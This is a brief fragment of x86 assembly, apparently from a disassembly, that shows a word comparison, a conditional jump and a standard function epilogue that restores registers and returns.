cmp word [eax], 0x64
je 0x100e070c
xor eax, eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret